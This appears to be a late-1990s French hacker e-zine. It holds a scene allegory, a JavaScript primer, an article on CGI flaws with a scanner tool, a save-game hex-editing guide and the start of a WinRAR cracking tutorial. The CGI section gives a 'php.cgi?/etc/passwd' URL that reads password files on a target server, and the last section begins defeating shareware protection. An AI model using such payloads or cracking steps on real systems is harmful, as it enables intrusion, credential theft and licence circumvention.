encore trouver du knowlage qui ont pas.. on a une chance, on envoi donc 3 légions faire de la discovry afin de trouver du knowlage dans des petites huttes en paille. Ha merde!, une autre civilisation, mieux vaudrait envoyer un diplomate voir de quoi ils ont l'air. Les résultats nous montrent donc une tribu comme l'était la notre jadis donc technologiquement inférieur on a déjà un problème sur les bras, y en faudrait pas un deuxième, coupon l'herbe sous le pied et passons la tondeuse sur cette ville. ==>NevrSee as been defeated by the civilisation of iGA<== Ha merde, la ville a complètement disparut, c'est pas grave. On a pas encore fini notre quête, vite du knowlage! On invente les bateaux pis on part à la découverte! Un autre peuple, ish lui aussi ya l'air assez powerfull, c'est pas grave on a des légions.. ha eux autre aussi... Eil on va leur parler -->iGA<-- Comme ca vous êtes pas pire en knowlage? -->Frhack<-- Bah c'est sur on est pas des barbares comme vous autres qui détruisez de simples civilisations encore au stade embryonnaire. -->iGA<-- Hee. he he he! :| -->iGA<-- On pourrait pas faire un treade de connaissances? -->Frhack<-- Nous autres on a rien à apprendre de barbares.. -->iGA<-- Okay, vous connaissez la civilisation de TC ? -->Frhack<-- Bien sur, on a déjà échangé du knowlage mais de ce temps sit, on dirait qui se brasse des choses par la. -->iGA<-- Eil je propose un deal, Déclare leur la guerre, je suis près a payer! -->Frhack<-- Noway, c'est avec toi que ma la faire la guerre! Nuisance civilisée! Ouins ben moi je rembarque dans le boat pis je fous le camp d'icit. Bon on a inventer la gun poudwer la fuck les légions on fait des Mousquetaires. Ha tien tien voilà TC qui revient nous voir avec un diplomate nous proposant une alliance. Humm sa sonne louche ca la. Dispatcher de Diplomate. Ha ha voilà le pourquoi de la chose, TC commence à s'épuisé, pour développer son knowlege ya fallut qui baisse les taxes, y se retrouve donc avec pus de cash pour faire des armées pis ses constructions coûte trop cher à entretenir, il doit donc s'en départir. Notre diplomate nous informe que le même traité a été évoqué avec Frhack. Nous refusons l'offre d'alliance pour des raisons de, préjugée faites par ce groupe ultérieurement. Après tout, on est rendu au même niveau qu'eux technologiquement, on a même inventé la philosophie ! ==>TC as been defeated (Disaper for no support during an internal riot) <== Bon un boute de moins sur le continent, vaut mieux en rire qu'en pleurer, on Expend. Notre civilisation n'arrête pas de grandir et la population afflue de partout, on a si bien structurer nos villes et notre politique : Roi--> peuple que ceux-ci ne sentent pas le besoin de se rebeller au contraire ils offrent leurs services. Ha la paix demeurent et notre civilisation s'épanouit de jours en jours. Le clan Frhack aussi grandit mais pas sa population. Même si notre armada de diplomate est plus grande que la leurs, on sent qu'il serait périlleux de commencer une croisade vers leur région. On va quand même envoyer 2 diplomates pour leurs soutirer de l'information. On a réussit à avoir une base sur la théorie nucléaire (Linux), mais on a déjà commencer les technologies appliquer comme les chars d'assaut (Socket annoyng family write by __2). Mais sans le savoir, du moins sans vraiment le vouloir, nos diplomates on incités une révolte au sain de leurs civilisations, est-ce notre régime Monarchique? Peu importe, l'argent diminue donc dans les coffres de l'état et Frhack doit se départir de précieuses création qu'il ne peut plus entretenir. Voyant le résultat de notre acte, l'assemblée vote pour une trêve définitive de la rencontre armée ou mal intentionnelle avec ce peuple. Ainsi soit t-il! Un autre peuple voit le jour, Phreak.fr. Nous allons leurs parler et entretenons des lors des rapports d'échanges commerciaux et sociologique intéressent, sans bavures. Bien que ce peuple éprouve de récent problème de famine (vous avez oublier d'irriguer les gars) on attend toujours leurs prochains zines, des que l'ordre sera revenu. Et voici une autre petite tribu nommée TSA, on avait bien faillit la détruire dans les conditions de survies du début, et a notre grande surprise notre diplomate agrée Wyzeman a réussit à mettre sur table un pacte de paix alliant nos deux civilisations. Pourquoi inventer deux fois la même chose quand on peut en inventer deux pour le même temps! Nous voici donc à la croisée des chemins, l'avenir nous dira probablement qui de ces civilisations réussira l'apogée des programmes spatial (Eil les gars j'ai hacker un Gibson!) En faisant le point sur l'évolution de notre civilisation (iGA) on voit bien que comme tout autres peuple, on a commencer très petit dans un champ de blés mais pour faire face à la lute et la critique des premières rencontres, on n'a pus que développer un mode de protection efficace.Okay on peut même comparer notre méthode évolutive de barbares, soit, mais il le fallait bien pour perdre notre place dans les premiers rang du top FIVE. Notre civilisation ne s'est pas appuyer sur des assises du passé pour rendre compte de son potentiel, au contraire, a chaques e-Zines, ce même potentiel qui est toujours renouvelé. (On sens Sarte et sa Mauvaise Foi ici la). Avec l'assurance prise et le désire de développer plus la technologie dans ce 20e siècle, la production de fantassins assurant notre défense s'atténue peu a peu pour faire place à des projets constructifs et évolutifs. La barbarie s'était bien, mais la coop sa sera meilleur! Mais attention, même si nos esprits sont axés sur un monde de plus en plus pacifique, nous avons quand même inventer le projet Manhattan. Bla Bla Bla phear we all gonna die! ..... Qwzykx _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.12] _|_| Le JAVASCRIPT \_________/_/ So CalleD _ ______ __ _ _ Pour les debutants qui debute le debut _/_/ [By:-cHr|5] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Salut, je vais vs présenter le javascript: First: Le javascript est totallement différent du java, le java script est en fait une version minimale qui sauto-execute un peu comme une batchfile ms-dos :-) Permet de creer des fonctionnaliters de plus, par exemple sur www.undernetsuxx.org les boutons des menus sont changeant quand on passe la sourie dessus grace justement a cela. Mais on peut faire mieux ou plus dangereux que ca :-) Pour apprendre a exploiter le Javascript, il vous faut : 1. un browser qui reconnaît le Javascript. {ie3+,n3+} 2. une solide connaissance du Html 3. un simple éditeur de texte NB: Pour se servir du javascript, on utilisera l'alphabet ASCII classique non-etendus (à 128 caractères). Les caractères accentués comme é ou à ne peuvent être employés que dans la zone texte. Voici qq notions de base : **Pour utiliser un script java, il faut signaler au browser que vs en utilisez un par la balise . **Vous pouvez insérer des commentaires ds vos scripts java, placés les après //. De cette manière, tout ce qui est écrit entre le // et la fin de la ligne sera ignoré. Vous pouvez insérer des commentaires sur plusieurs lignes: /* commentaire sur plusieurs lignes */. **Pour masquer le script pour les anciens browsers : * L'alert(): ----------- Cette instruction affiche un message (dans le cas présent votre texte entre les guillemets) dans une boite de dialogue pourvue d'un bouton OK. Pour continuer dans la page, on devra cliquer ce bouton. * Write(): --------- Cette instruction permettra d'afficher le txt "Ceci est du Javascript" sur la page. * J'ai pas trouvé de titre :)) : -------------------------------- On peut utiliser différentes "fcts" ( .big(), .small(), .blink() ) pour remplacer des balises HTML (dans ce cas-ci : , , ). Exemple : Je veux écrire en javascript la phrase www.undernetsuxx.org en grand (en javascript) : (il y a plusieurs possibilité d'écrire cette phrase en voilà 2) ou * Les couleurs : ---------------- Au lieu d'utiliser parexemple, la balise : pour déterminer les différentes couleurs ( des liens, du fond, etc...) d'une page html, on peut encore une fois se servir du javascript. document.bgColor ---------------- Cette instruction permet de spécifier la couleur d'arrière-plan d'un objet document. On peut employer le nom ou la valeur RGB de la couleur. document.bgColor="white"; // document.bgColor="#FFFFFF"; document.fgColor ---------------- Cette instruction permet de spécifier la couleur d'avant-plan (texte) d'un objet document. On peut employer le nom ou la valeur RGB de la couleur. document.fgColor="black"; // document.fgColor="#000000"; document.alinkColor ------------------- Cette instruction permet de spécifier la couleur d'un lien actif (après le click de la souris mais avant de quitter le lien) d'un objet document. On peut employer le nom ou la valeur RGB de la couleur. document.alinkColor="white" // document.alinkColor="#FFFFFF"; document.linkColor ------------------ Cette instruction permet de spécifier la couleur d'un hyperlien d'un objet document. On peut employer le nom ou la valeur RGB de la couleur. document.linkColor="white"; // document.linkColor="#FFFFFF"; document.vlinkColor ------------------- Cette instruction permet de spécifier la couleur d'un hyperlien déjà visité d'un objet document. On peut employer le nom ou la valeur RGB de la couleur. document.linkColor="white";document.linkColor="#FFFFFF"; Voilà j'espère que cette ptite intro sur le javascript vouss aura plu...A+ [-cHr|5-] ___________________ [Quotes of the month]\____________________________ [Have Stomac Burn will not let you past a BK [eat trip, but you may regret it the next morning...] _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.13] _|_| CGI FLAWS \_________/_/ So CalleD _ ______ __ _ _ Scanning and more sous win32 _/_/ [By:__2] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Quest-ce qu'un CGI ? Il s'agit du terme Common Gateway Interface ou si vous cherchez dans le plus simple, il s'agit dun genre d'executable qui peut faire quelques operations interessantes et cela a distance. Par exemple, le compteur sur undernetsuxx.org est un CGI, un cgi simple qui compte le nombre de visionnement de la page. Cest tout simple, certains sont plus puissant et gere directement les fichiers systemes d'un disque et c'est la que ca devient interessant. Un programme existe deja sous linux depuis quelques mois qui permet de scanner un domaine [www] et dy trouver tout les fichiers cgi's capable d'etre utiliser a fin de hacking. Voici donc des exemples classiques, le plus vieux cgi exploitable est sans nul doute le PHP.Cgi, la jentend deja certains me repondre "boring old crappy shit" mais c'est prouver, ca existe encore.. voici un exemple classique: Http://www.targethost.com/cgi-bin/php.cgi?/etc/passwd Et oui, ca permet de voir nimporte quel fichier de facon arbitraire sur le diske du serveur , meme la password list dans certains cas. Il y en a biensur bcoup d'autres tel que le test-cgi, le phf le count.cgi [vous savez le fameux compteur de tout a lheure], le classique wwwboard.pl [ici il s'agit de perl, un autre type "d'executable"]. Donc en gros mon programme scan comme sur linux pour tout les trous pouvant etre penetrer mais pour Windows :-) Oh thats sound good. Wwwscan.exe est le programme et il vient avec le mag, pour les librairies requise n'oubliez pas d'allez downloader sur le site : vb6libs.zip et de l'installer [ICQ fermer sinon ca plante]. Dans le programme vous avez quelques configurations a entrer et 3 boites qui sont dans l'ordre: (1) - La DUMP BOX, (2) - La Results BOX, (3) - La Debug BOX. Dans la premiere boite, on peut voir les commandes locales, dans la seconde boite on voit les resultats. C'est-a-dire tel ou tel CGI que mon programme a trouver :-) Dans la derniere cest tout simplement les operations directes faitent via le SOCKET[INTERNET] c'est tjour pratique :} Donc si vous voyez par exemple: Flaw Found : GET /etc/passwd dans la results box c'est que le passwd [fichier users d'un systeme linux] c'est que vous pouvez taper via Internet Explorer ou Netscape un URL du genre HTTP://www.targethost/etc/passwd. Thats Right? Pour avoir plus d'information sur un CGI ou un PERL speciale, c'est a dire comment faire un exploit dessus, vous allez sur www.yahoo.com et tapez le nom du cgi suivit de exploit, c'est le gros classique. Par exemple: Search: Count.cgi exploit Vous risquez den apprendre des bonnes :] Pour finir cette article, le fichiers laws.txt est d'un format tres simple: ITEM_NAME ITEM_CONTENT ... # # les 2 # marquent la fin du fichier. et ITEM_NAME est le nom de l'exploit tandis que le ITEM_CONTENT est plutot le contenu. Par exemple: Cgi PHP GET /CGI-BIN/PHP.CGI /HTTP/1.0 Vous pouvez donc en ajoutez a votre gres, la liste deja presente n'est vraiment pas complete. Il se peut bien que je release de nouvelles listes sur le site IGA dans les semaines a venir. Donc enjoy this new toy. NB: Ceci est un article qui ressemble bien a celle de putois qui n'est malheureusement pas parus pour la raison quon a tout simplement perdu son article, on s'excuse et comme on doit faire vite on n'a pas pus rejoindre un europeen qui est la 2h par jour sur le net et cela quand on dort. Milles excuses a putois. __2. ___________________ [Quotes of the month]\____________________________ [A infrared keybord will not be affect by ne hackerz... [Have you ever see a hacker hacking a keybord? ] _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.14] _|_| Save File under busting \_________/_/ So CalleD _ ______ __ _ _ Cheaters use drug _/_/ [By:Qwzykx] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Et oui, je m'adresse à vous,les vieux de la vielle,les rescapées de la vague, à tous ceux qui n'ont pas surfés mais qui sont bien restés les deux pieds sur terre, à vous tous je ne peux que qu'admirer votre loyauté mais j'ai la triste et ardue tache de vous discriminer, de vous expulser hors de ce notpad car ce que je vais écrire à l'aide d'un clavier 102 touches, vous le savez déjà,encore une fois milles regrets,veuillez agréer l'expression de mes sentiments les plus distingués, je vous prie de croire en l'expression de mes sincères salutations, cordialement vôtre , Qwzykx ! Alors pour vous tous qui êtes encore avec nous,vous tous qui avez braver l'océan afin de surfer et ce sans prendre trop de bouillons, vous tous qui fessez partie de gang CoOl et BrAnCHeZ today on va faire un brainstorming à la, comment dirais-je, je ne sais trop, disons simplement que dans un monde corrompu, vous le serez un peu plus! Ce que je vous propose n'ayez crainte n'est pas illégal, du moins je l'espère après tout, c'est pour cette éventualité que Wyzeman fais des disclams. Non ce n'est pas illégal mais disons plutôt que c'est moralement discutable mais après tout, tous le monde triche de nos jours, même les gamblers (Le scoop ici la). Alors tout va comme suit : Ha qui sont beau les moineaux, les p'tits, les gros, les moineaux ils ont manger les raisins ils ont crachés les pépins, les pépins, les pépins si cette histoire vous ennuie, ennuie, ennuie les amis pour vous désennuyer, ben on va la recommencer. Solo ! Excusez-la! Bref! Responsabilité. nannana Responsabilité. nnananan Responsabilité! Bon moé j'pette ma coche pis je scrap mon francais! Back on the track v.2.20 Donc oublier ce léger contretemps mais vous avouerez qui a de quoi de valorisant quand ont pense que cette chanson de notre patrimoine d'enfance des hautes terres va être immortalisée sous l'imprimante d'un local d'info au secondaire ou sous celle d'un respectable bureau médiatique, qui sait! C'est la qu'on voit que chaques lettres pesées et posées dans ce texte coûte à l'état la modique somme de 1$ en encre (pure spéculation,une chose est sur, ya sûrement un kid qui va avoir un devoir imprimer en gris pale se dégradant vers le blanc à cause de nous après tout!) Bon alors le but de cet article contrairement aux autres est de vous enseigner à vous démarder, et ce, avec les moyens du bord c'est-à-dire une bière, un écran saupoudré d'acariens,l'expertise de cet article et bien sur, un maximum de chance! Mais pourquoi m'acharnerai-je à vous expliquer ce que je veux vous montrer, je vais plutôt vous donner un exemple tout en vous expliquant les rudiments de la old faschon du temps. ( comme personne en parle!) Alors mise en situation : Vous venez de jouer à un magnifique jeu et comme c'est pas un jeu chien disons, vous pouvez sauvegarder votre partie. Puis vient un temps ou, même une fois sauvegarder, vous ne pouvez poursuivre votre quête dans ce dit jeu, il vous faut donc un petit boost. Mais Oh malheur, shame on you, le patch ou le trainer pour ce si sublime jeu n'est pas encore disponible et pour les codes, disons simplement que vous allez devoir les faire venir par un mercenaire à 5000$ l'unité. Mais que faire pour palier à ce si imposent dilemme? Et oui vous avez deviner: continuer de lire cet article! Imaginer vous comme concepteur d'un jeu du genre... par exemple, Civilisation (the great old one) ici je tiens à vous dire que c'est un choix personnel ou plutôt une limite personnelle mais le principe est le même pour des jeux plus récents. Alors pour pratiquer cette opération, il vous faudra un patient, c'est à dire votre save file, facilement identifiable par son nom souvent illicite et hors contexte, par exemple : Civil0.SVG ou encore Save4.SAV. Si vous avez peur de vous perdre ou si vous savez pas trop quel save file est relié avec quel partie sauvée ,dites-vous que souvent dans la première ligne du save file se trouve le nom de votre game sauvé. A ce moment-ci de notre courte rencontre, vous aurez deviné que le but de ce texte est de vous apprendre à tricher ou plutôt,hacker vos saves games,rien de vraiment illégal, après tout,c'est votre save game,votre création! Le truc proposé est simple, même trop simple, toute fois il se peut que cette technique ne soit pas infaillible par exemple, il se peut que les données soit encriptées dans le save game et ca m'est arriver qu'une seule fois, ou encore l'inverse, que les données que vous allez rentrer soit tellement over sized que le jeu fuck, je me rappelle une game de UFO2 ou j'avais un commandent de niveau "Carabine Blasta Sonic". Donc on ne changera que des valeurs dans ce save file,ces valeurs sont habituellement et très probablement les suivantes : Dans les jeux de stratégies ( Warcraft, Command & Conquer..) le classique et très capitaliste CASH suivit du bois etc. Finalement vous serez pas invisible mais vous contrôlrer la richesse du royaume et comme tout le monde sait : Qui sera maître de l'épice, sera maître du monde! Tandis que dans les jeux d'actions , vos points, votre amos ainsi que vos stats pourront êtres disons, métamorphoser en super points, super amos et super stats après X--------------Un break point philosophique juste ne bas! --------------X tout vous penser pas que le jeu avec votre machine se continue même après un EOF et je dirais même plus, la ou le EOF commence, le jeu se continue, pas avec la machine, mais avec le programmeur du jeu! Ouhaaa j'en ai des frissons à pensé comme ca,je veux pas avoir l'air plat ou pessimiste mais le seul moyen de contrôler votre ordinateur c'est de codé un virus en assembleur qui ira killer toute votre HDD et ces données pervertit par des programmeurs que vous ne connaissez, après tout, ces eux qui utilisent votre ordinateur! Revenons à nos moutons. Alors vous vous rappeler l'article sur les variables du bios que j'ai écris dans ce même zine? Si vous savez pas c'est quoi la conversion hexadécimale/décimal ben vous êtes dans marde, mais pas temps que ca je vous est fourni et ce gratuitement un convertisseur décimal to hexa, HA!, quel type ce Qwzykx mais par contre vous me trouverez moins drôle quand je vous dirai qu'il vous faudra un éditeur hexadécimal afin d'éditer vos valeurs, ca va beaucoup plus vite, mais pour ceux qui ont rien, je me réserve une section à la fin de cet article pour un DEBUG prog.editing, oui c'est low level mais ca marche bien! Alors allons-y ma gang de futurs p'tits RAZOR 911. La première étape dans une telle situation c'est la possession près de sois d'une feuille et d'un crayon, par expérience personnelle dans le passé, évitez un ami sauf s'il est capable de passé le 20e niveau au p'tit jeu rouge,vert,bleu,jaune qui fait bip bip avec une séquence qu'il faut répéter.. voyez mes amis étaient pas fort à ce jeu là, par contre, ils excellaient dans le célèbre jeu du roi de la montagne, exemple parfait de la pile : LIFO (Last in,first out!) tendis-que j'adoptais le contraire FIFO (first in,first out!). Après cette étape, il vous reste une étape difficile à accomplir, "planifier vos besoins". Voyez, le nombre de points que vous avez à l'écran, le nombre d'argent que vous posséder ou peut importe le nombre, le résultat est le même, l'ordinateur le sauvegarde dans un fichier et comme celui-ci fonctionne en hexadécimal, votre butin sera alors transformer en butin hexadécimal: Exemple : 2945 de gold --> 0681 hexa (prenez l'habitude de foutre un zéro devant le premier chiffre de facon à toujours former des couples (groupe de 2) en hexa ca vas vous éviter des erreurs plus tard,par contre si les chiffres sont déjà en couple (donc mariés) ne rajouter pas de zéro pour rien ca pourrait etre un cas de divorce!). En suite quand je parlais de "planifier vos besoins" je parlais de sauvegarder votre game quand vous avez un nombre "batard" de cash ou de points peu importe pourvut que le chiffre ne sois pas rond ou trop commun par exemple si vous sauvegarder en commencant la partie alors que vous avez en poche 1000$, il se peut que dans le save game la valeur 1000 soit utilisé aussi , comme dans le jeu Warcraft, toutes les unités commencent avec le même nombre de cash et quand vous enregistrez votre partie, l'argent de vos ennemis est aussi enregistré il sera alors difficile de retrouver la valeur exacte, VOTRE valeur. Si vous sauvegarder la partie lorsque vous n'avez plus un rond ou encore lorsque vous en avez peu, encore une fois les problèmes s'offrent à vous car le fichier .SAV est avant tout une base de donnée et celle-ci contient d'autres informations, comme le nombre de building, votre emplacement et il y a pleins de 0 (espace vide) donc vous risquerer de chercher longtemps. Un autre truc, lorsque c'est possible, sauvegardez sur le plus gros montant possible, lorsque votre valeur excède le nombre 255, votre chiffre sera alors inscrit sur deux espaces mémoire dans votre fichier de sauvegarde,ce qui vous facilitera la tache car il est plus facile de trouver une série de chiffre qu'un seul chiffre : Exemple : Si j'ai 77$ en hexa ---> 4d si j'ai 4429$ en hexa -> 11 4d Donc si je cherche avec "4d" je risque d'avoir tous les "4d" qui peuvent se trouver dans le save file. Je réduis donc les chances d'erreurs en maximisant ou en précisant ma recherche à l'aide de deux octets au-lieu d'un seul. Et non il nous reste encore quelques difficultés à surmonter avant de pouvoir s'amuser. Premièrement chez INTEL les données sont inscrite à l'envers dans la mémoire, c'est la que le truc des couples de chiffres d'on je vous est fait part tento vas être utile. Si par exemple,j'ai 537$ en hexa --> 219 donc 0219 mais comme chaques espaces mémoire est sur huit bits on a deux espaces mémoire dans ce cas ci : 02 et 19 il faut maintenant les inversés (toujours en couple, ce n'est pas les chiffres que l'ont inverse mais bien les octets.) On obtient alors ceci : 19 02 et c'est exactement ceci que vous devrez chercher dans votre save game : 19 02 Pour cette partie "recherche" si vous voyez plus que deux fois votre nombre sortir, vous pouvez toujours vous essayer à en changer un dans l'espoir que ca fonctionne (mais faite un backup on sait jamais) Et si vous penser en programmeurs vous avez peut-être aussi la géniale idée de commencer votre programme de sauvegarde de facon structurer c'est-à-dire les informations les plus importantes au début et le reste à la fin, c'est pourquoi ce que vous chercher se trouve souvent au début du fichier. Alors si je reprends l'exemple de tento : 19 02 Viens maintenant le temps de modifier le contenue de l'espace mémoire comme ce-ci (ceux qui ont un éditeur c'est souvent la lettre E pour éditer) donc je change 19 02 pour ---> 19 72 oubliez pas que comme les espaces mémoires sont inversées le chiffre le plus significatif est le deuxième (soit 02) Et l'ultime question: Pourquoi un "7" ? La réponse : c'est que c'est un chiffre chanceux et que si je mettais FF dans chaques cases, et que, par malheur,en recomencant ma game j'aille un extra Cash flow, celui-ci se rajouterait par-dessus le FF FF(qui est la valeur maximum dans un octet).Donc si votre jeu n'a pas prévus un 3e octet de mémoire, y va avoir un buffer overflow et pour la suite je vous laisse deviner... Mais ce qui est pratique c'est que si vous noter, comme dans Warcraft par exemple, le nombre de OIL et de BOIS que vous avez, vous verrez que ceux-ci sont dans le même coin que l'argent donc notre ami le programmeur a décidé de mettre ca en tapon et ca vous évites donc de chercher ces nombres pour rien, deplus, si vous trouver deux fois ce nombre celui qui se trouve près de l'argent sera sûrement le bon car il est aussi important au niveau du jeu (logique non!). En voyant les espaces qui séparent chaques termes en hexadécimal, vous pourrez déduire environs le maximum d'octets alloués à cette donnée, exemple : 00 00 00 12 01 00 43 02 00 45 00 00 Ici, on pourrait croire qu'il y a 3 octets pour chaques données(les 3 premiers sont finalement rien!) Le chiffre commence à 12 (valeur faible) et ensuite 01 (valeur moyenne) et 00 (valeur forte) même si cette dernière est vide,il faudrait un nombre plus grand que 65535 pour qu'elle s'active, il en va de même pour les autres. Alors voici le moment de l'exemple final : mettons j'ai 3945$ à Command & Conquer bin comment je peux me faire une passe de cash facile en gossant mon save file!? Réponse : Avant tout, sauvegardez lorsque vous savez que vous avez 3945$! La conversion: 3945$ --> en hexadécimal, ce qui donne --> F69 On les met en couples! : F69 --> 0F 69 ensuite on les inverse 0F 69 --> 69 0F On édit ensuite le save file en HEXAdécimal et on cherche la string suivante : 69 0F Une fois trouver on la modifie : 69 0F --> 69 7F (pas obliger d'être un "7" la ca peut être ce que vous voulez,mais essayer d'éviter le buffer overflow d'on je parlais tento) Il ne reste plus qua enregistrer vos modifications et de recopier ce fichier par-dessus le vieux que vous aviez. Vous allez passer de 3945$ à 32617$ tout un taux de change! Ici se trouve la section Annoying, c'est-à-dire les problèmes que vous pourriez rencontrer. La passe des valeurs encriptées je l'ai vu une seule fois donc c'est pas si grave mais le pire bug que vous pourriez avoir c'est de changer quelque chose qui devrait pas être changer (si par exemple la même string se répète deux fois dans le même fichier et que vous décidiez de modifier les deux valeurs,alors il se peut fortement que sa soit la cause d'un futur bug. Certains programmes sont barrés non pas à 65535 (sur 2 octets) mais à la valeur 1000 (décimal) comme Doom ou heretic par exemple la window pour le amos est sur trois décimals de 0 à 999 si vous essayez de rentrer un "1" de plus,le programme va planter because y pourra pas le mettre dans un espace de 3 digits, une espèce de bug de l'an 2000 encore la! Ensuite il se peut aussi que vos options marchent plus ou moins,comme ca m'est arrivé dans un seul jeu (UFO2) j'avais over booster mes bonhommes, ce qui a fonctionné mais sans trop savoir pourquoi,mes bonhommes changeaient de nom pis y se sont mit à porter des "Rang enseigne"comme armure! Un autre problème commun, souvent les variables déclarées par le programmeur sont de type "non-unsigned" c'est-à-dire que ces variables vont de -128 à 127 dans le cas de un octet de mémoire, contrairement au mode unsigned ou ils vont de 0 a 255.Le problème c'est que le nombre est finalement diviser en deux, une partie positive : de 00 a 7F et une partie négative de 80 a FF. Donc si vous ajouter ou augmenter votre valeur et que celle-ci est "signed" donc comporte une partie négative, alors en augmentant la valeur au-delà de 79 vous pourriez tomber dans le négatif, ce qui serait un problème et non une solution, et vous voyez encore ici le fameux "7" chanceux ! Autre chose, si votre nombre est de type HUGE du genre 1809543$ 1809543$ en hexa---> 1B 9C 87 Alors pour inversé le tout vous le lisez à l'envers finalement ce qui donne : 87 9C 1B Et c'est tout! Vous pourriez trouver un bon éditeur hexa décimal sur le net je crois que sa serait pas très très difficile, ya Norton qui en faisait pis ya aussi un bon vieux programme qui s'appelait Xtree Gold dans le temps qui faisait de la belle job! Mais si vous avez pas le temps ou que vous posséder pas les ressources matérielles minimales, il vous reste le très rachitique DEBUG. Finalement pour bien éditer votre fichier, vous devez savoir quel est la string à rechercher, le nom du fichier et sa grosseur. Donc en mode DOS, vous tapez DEBUG ensuite vous aller voir une petite ligne comme ca "-" marquez "n" suivit d'un espace et le nom du fichier: --> n Save3.sav Ensuite marquez "l" puis ENTER. L'option "n" permet de nommer le fichier auquel on veut accéder tandis que l'option "l" permet simplement de loader le fichier en mémoire, mais sa vous le sauriez si vous regardiez le HELP file "?". Vous voici donc dans votre fichier, il suffit de faire un Dump ("d") pour voir tout ce beau code apparaître mais, vous aller devoir chercher pendant des heures votre string à y aller page par page! On va donc utiliser la commande "s" pour Serch et voici comment elle fonctionne : s [debut] [fin] [string] Et c'est ici que vous allez voir tout le point de vu pratique d'un éditeur hexa. Donc si votre fichier fait 15,006k vous devrez le convertir en hexa 15006 --> 3A9E hexa après cette brève opération vous devrez chercher de 0 à 3A9E me direz vous, mais non! Le super DEBUG commence à l'adresse 0100 , vous devrez donc chercher de 100 à 3B9E (3A9E + 0100)Alors supposons que je cherche la string 75 02 j'irai comme suit : s 0100 3B9E 75 02 Si votre fichier est de moins de 65,435k vous aurez seulement besoin de gosser l'offset de l'adresse mais s'il est de plus de 65,435k vous devrez écrire l'adresse au complet! Vous aurez alors le résultat de la recherche sur des pointeurs qui, pointerons sur la case mémoire (la valeur faible) ou se trouve votre string EX: String = 75 02 et se trouve à l'adresse 1A72:085A le résultat sera donc 1A72:085A et à cette adresse il y a ceci : "75" qui est la valeur basse c'est donc dire que si vous prenez cette case pour modifier vos valeurs, c'est comme changer les unités sans toucher aux centaines, finalement y aura pas gros changement, laisser donc cette case mémoire comme elle est et modifier plutôt la case suivante (comme il s'agit de INTEL c'est inversé donc la valeur la plus significative se trouve à la case suivante)Donc c'est à l'adresse 1A72:085B que vous devrez changer le tout. Pour ce faire servez-vous de la commande "e" pour éditer EX : e 085B ici j'ai laisser tomber le "1A72" car mon fichier est plus petit que 65,435k je n'ai donc pas besoin de la suite, je travaille juste sur l'offset.Et quand c'est fait vous allez voir l'ancienne valeur : 02. il vous suffira de rentrer la valeur que vous voulez exemple 72. Encore une fois le "7" chanceux. Et pour terminer il ne vous reste plus qu'à enregistrer vos changement avec la commande "w" : w [ENTER] Je vous laisse deviner la touche pour sortir de debug! _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.15] _|_| Program Cracking \_________/_/ So CalleD _ ______ __ _ _ Rix strike back _/_/ [By:_rix] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Program Cracking ================ Comment les cracks sont-ils concus, et quelles sont les faiblesses de tout ces sharewares que l'on trouve de plus en plus facilement ? Je vais essayer de repondre a ces 2 petites questions, en utilisant pour cela un exemple tout a fait pratique. Nous allons essayer de cracker WinRAR, un utilitaire de compression excellent, qui permet de compresser mieux que WinZIP, et qui en plus, permet de compresser aussi les fichiers ZIP !!! Je vais donc ici vous montrer comment proceder sur une version de WinRAR, en l'occurence la version 2.50 beta 3, que j'ai chargee a l'adresse suivante: http://www.creabel.com/softronic REMARQUE: LES TECHNIQUES QUI SONT EMPLOYEES DANS CET ARTICLE SONT SIMPLEMENT UTILISEES ICI POUR DEMONTRER LES FAIBLES MOYENS MIS EN OEUVRE PAR LA PLUPART DES PROGRAMMEURS POUR PROTEGER LEUR PROGRAMME, DANS LE BUT D'INFORMER CEUX-CI DES TECHNIQUES HABITUELLES EMPLOYEES PAR LES CRACKERS, ET DE LES AIDER A S'EN PROTEGER. LE PROGRAMME WINRAR N'EST ICI UTILISE SIMPLEMENT QU'A TITRE D'EXEMPLE, ET L'AUTEUR DE CET ARTICLE VOUS ENCOURAGE PLUS QUE VIVEMENT A ENREGISTRER TOUT LES PROGRAMMES SHAREWARES QUE VOUS UTILISER. LES OUTILS ========== Pour cela, nous allons avoir besoin de quelques outils tres pratiques et obligatoires pour realiser ce que nous voulons. Tout d'abord, je vous conseille de prendre WIN32DASM, le meilleur debugger-desassembleur sous Windows (ca n'engage que moi ;). ( http://www.expage.com/page/w32dasm ) Ensuite, il sera tres interessant d'avoir un petit editeur hexadecimal, par exemple UltraEdit, qui est tres bien fait. ( http://www.idmcomp.com ) Vous allez voir, qu'avec ces 2 programmes tres puissants, il est assez facile de cracker un petit programme. Cependant, il est conseille d'avoir une certaine connaissance de l'assembleur, etant donne que nous allons devoir analyser certaines parties (petites, rassurez-vous ;), du code du programme. WIN32DASM ========= Avant de commencer le crack proprement dit, je vais d'abord vous expliquer quelques fonctions bien utiles que nous offre WIN32DASM. Une fois WIN32DASM lance, nous pouvons effectuer toute une serie de recherche d'informations sur le programme que nous allons debugger. Pour cela, vous pouvez d'abord charger le fichier WINRAR.EXE dans WIN32DASM, a l'aide de la commande "Open file to disassemble" du menu "Disassembler". Cette commande va prendre un certain temps, car c'est en fait elle qui est responsable de toute la partie desassemblage du programme. Une fois le programme desassemble, nous allons avoir le code de WINRAR.EXE affiche dans la fenetre. Ce code est decompose comme ceci: D'abord les valeurs de l'offset et de la taille du code et des donnees. Ensuite le nombre d'objets du programme (pas trop important pour nous ;) Puis les eventuels menus et boites de dialogues. Viennent ensuite toutes les APIs Windows que le programme utilise, classees suivant la DLL d'ou elles proviennent. Puis enfin, toutes les fonctions qui sont exportees par le programme (pas trop utiles pour nous non plus ;) Au niveau de chaque instruction du programme, chaque ligne est composee d'une adresse, suivie du code hexadecimal de l'instruction, suivie de l'instruction assembleur correspondante. Au niveau des commandes, WIN32DASM va nous permettre d'effectuer des recherches de chaine dans le code, par exemple, grace a la commande "Find Text" du menu "Search". Nous pouvons aussi aller a une adresse precise, avec la commande 